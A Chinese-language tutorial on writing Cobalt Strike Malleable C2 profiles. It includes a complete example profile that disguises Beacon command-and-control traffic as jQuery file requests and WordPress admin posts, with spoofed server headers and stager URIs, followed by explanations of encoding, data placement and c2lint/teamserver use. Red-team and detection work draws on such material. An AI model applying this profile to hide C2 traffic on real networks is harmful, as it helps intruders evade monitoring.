【逆向】Cobalt Strike Malleable C2配置文件编写教程
前言
Malleable C2是Cobalt Strike的一个功能,它允许我们通过编写配置文件来改变Beacon与C2通信时的流量特征与行为。在学习之前我们先通过下图了解下Beacon与Teamserver通信的基础过程。
示例
以下示例基本包含了编写配置文件需要用到的元素。
1 #设置全局选项 2 set sample_name "my"; 3 set sleeptime "5000"; 4 5 http-get 6 { 7 #设置针对get请求的url路径 8 set uri "/jquery.min.js"; 9 10 client 11 { 12 #设置客户端请求的头部字段与url参数 13 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 14 parameter "ver" "1.2.4"; 15 16 #发送会话元数据 17 metadata 18 { 19 base64; #base64编码 20 prepend "token="; #数据前追加字符串 21 header "Cookie"; #保存数据到Cookie字段 22 } 23 } 24 25 server 26 { 27 #设置服务端请求的头部字段 28 header "Server" "Apache/2.4.39 (Unix)"; 29 header "Content-Type" "application/javascript; charset=utf-8"; 30 31 #返回需要执行的任务信息 32 output 33 { 34 base64; 35 prepend "/*! jQuery v2.1.3"; 36 append "var nc=a.jQuery,oc=a.$;"; 37 print; 38 } 39 } 40 } 41 42 http-post 43 { 44 set uri "/wp-admin"; 45 46 client 47 { 48 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 49 header "Cookie" "wordpress_test_cookie=WP+Cookie+check"; 50 51 #发送任务ID 52 id 53 { 54 base64; 55 prepend "PHPSESSID="; 56 header "Cookie"; 57 } 58 59 #发送任务执行结果 60 output 61 { 62 base64; 63 print; 64 } 65 } 66 67 server 68 { 69 header "Server" "Apache/2.4.39 (Unix)"; 70 header "Content-Type" "text/html; charset=UTF-8"; 71 72 #返回空 73 output 74 { 75 base64; 76 print; 77 } 78 } 79 } 80 81 http-stager 82 { 83 set uri_x86 "/favicon1.ico"; 84 set uri_x64 "/favicon2.ico"; 85 86 client 87 { 88 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 89 } 90 91 server 92 { 93 header "Server" "Apache/2.4.39 (Unix)"; 94 header "Content-Type" "image/x-icon"; 95 96 #返回有效载荷 97 output 98 { 99 print; 100 } 101 } 102 }
语句
使用以下语句编写配置文件,可以完成对C2流量特征与行为的自定义过程。
数据转换
1 //对传输数据进行编码 2 base64: //base64编码 3 base64url: //base64编码后数据可以放在rul中 4 mask: //xor异或加密 5 netbios: //SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’) 6 netbiosu: //SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’) 7 8 //在传输数据的起始和结尾部分追加字符串 9 prepend: //前置字符串 10 append: //结尾字符串
终止语句
1 //设置传输数据存储的位置 2 header "Cookie" //将数据存储在HTTP头Cookie字段中 3 parameter "Key" //将数据存储在URL参数中 4 5 print //将数据存储在Body中 6 uri-append //将数据附加到URL中
额外语句
1 //parameter: 在rul结尾添加?bar = blah参数 2 http-get { 3 client { 4 parameter "bar" "blah"; 5 6 //header: 在请求头添加X-Not-Malware字段 7 http-get { 8 server { 9 header "X-Not-Malware" "I promise!";
转义字符
1 "\n" //换行符 2 "\r" //回车符 3 "\t" //制表符 4 "\u####" //Unicode字符 5 "\x##" //字节符(例如:\x41 = 'A') 6 "\\" //\
可用选项
可用选项分为2种类型:全局选项和局部选项。
全局选项在文件头部设置,全局选项将更改全局Beacon设置。
你可以使用“set”语句在配置文件中设置可用选项来配置Beacon的默认值。
1 //设置默认睡眠时间为1000毫秒 2 set "sleeptime" "1000";
测试与使用
Cobalt Strike软件包中包含一个c2lint程序,你可以使用该程序对配置文件语法进行检查,或者使用随机数据对配置文件进行单元测试。
// ./c2lint [/path/to/my.profile]
配置文件检测通过后你可以在启动Cobalt Strike团队服务器时,指定加载该配置文件。
// ./teamserver [external IP] [password] [/path/to/my.profile]
参考资料
https://www.cobaltstrike.com/help-malleable-c2
https://exp10it.cn/#/posts/69
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/